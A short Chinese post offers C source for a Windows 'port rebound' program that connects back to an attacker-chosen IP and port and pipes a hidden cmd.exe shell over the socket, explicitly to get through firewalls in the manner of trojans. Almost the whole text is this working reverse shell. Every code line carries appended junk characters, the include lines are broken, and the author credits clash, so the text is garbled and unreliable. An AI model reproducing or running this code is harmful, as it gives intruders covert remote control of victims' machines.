Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 *4]I#N  
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/* ============================== ldi'@
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Rebound port in Windows NT y=5s~7]  
By wind,2006/7 x1Z?x,-D"  
===============================*/ wdl6dLu  
#include 7P=1+2V  
#include duT2:~H2  
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#pragma comment(lib,"wsock32.lib") 0=L:8&m  
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void OutputShell(); Mq6.!j  
SOCKET sClient; .CrahV1G  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; }_gCWz-5?  
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void main(int argc,char **argv) A&F@+X6@  
{ 3V LwMF?  
WSADATA stWsaData; I)Lg=n$  
int nRet; 9[6xo!  
SOCKADDR_IN stSaiClient,stSaiServer; i&{8a3B  
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if(argc != 3) Ok2k; +l  
{ mcp}F|ws  
printf("Useage:\n\rRebound DestIP DestPort\n"); aq,&W q@  
return; <iJ->$  
} 6-QTqb?U;N  
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WSAStartup(MAKEWORD(2,2),&stWsaData); aL+k1v[m  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); X:@nROL^7  
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stSaiClient.sin_family = AF_INET; 1ciP+->$  
stSaiClient.sin_port = htons(0); SDDs}mV  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 8WfF: R;  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) hY/SR'8  
{ 7PHvsd"]p  
printf("Bind Socket Failed!\n"); ~*THL0]~  
return; ,?<jue/bd  
} qmtVk  
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stSaiServer.sin_family = AF_INET; [1 w  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); YeYFPi#  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 8O("o7~"  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) }4 P@`>e/`  
{ IEjKI"  
printf("Connect Error!"); H_vOZ0  
return; p\b:uy6#  
} "xdXHuX  
OutputShell(); #CHsH{d  
} [[oX$0Fp\!  
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void OutputShell() G@ BrU q  
{ X.%Xi'H  
char szBuff[1024]; y3c]zDjV  
SECURITY_ATTRIBUTES stSecurityAttributes; .oN<c]iqE  
OSVERSIONINFO stOsversionInfo; .kBi" p&  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; W446;)?5  
STARTUPINFO stStartupInfo; @,pO%,E6  
char *szShell; kIP~XV~  
PROCESS_INFORMATION stProcessInformation; b ]1SuL  
unsigned long lBytesRead; kHm1aE<  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); *N[.']#n  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Y>wpla[kUq  
stSecurityAttributes.lpSecurityDescriptor = 0; 6./h0kD`  
stSecurityAttributes.bInheritHandle = TRUE; ShF ][v1L  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); s80:.B  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); \*v}IO>2})  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ,BOB &u  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; CZxQz  
stStartupInfo.wShowWindow = SW_HIDE; no)Sp
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stStartupInfo.hStdInput = hReadPipe; c{V0]A9VF  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; +\\*Iy'xK  
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GetVersionEx(&stOsversionInfo); "|.>pD#0&  
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switch(stOsversionInfo.dwPlatformId) .A&Ey5  
{ +2|X 7wA  
case 1: >"5^]o2?~l  
szShell = "command.com"; zPH1{|H+l  
break; uy~5!i&  
default: @@'zMV%  
szShell = "cmd.exe"; wvp
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break; Q^b_+M  
} 9Rb-QI  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); iG6 ^s62z7  
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send(sClient,szMsg,77,0); Rr|VGtg  
while(1) T,`'qZ>  
{ MDGcK/$')f  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); --Dw8FR9  
if(lBytesRead) A WMR0I  
{ }sd-X`lZ  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); xAjLn*d|N  
send(sClient,szBuff,lBytesRead,0); vObP(@0AM  
} j<R,}nmD3\  
else Op~sR^ez  
{ x,5$VLs\+  
lBytesRead=recv(sClient,szBuff,1024,0); b+[9)B)a?  
if(lBytesRead<=0) break; &&M-5XD  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); >O9j},X  
} kIiId8l  
} X>wB=z5PXK  
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return; /49PF:$?  
}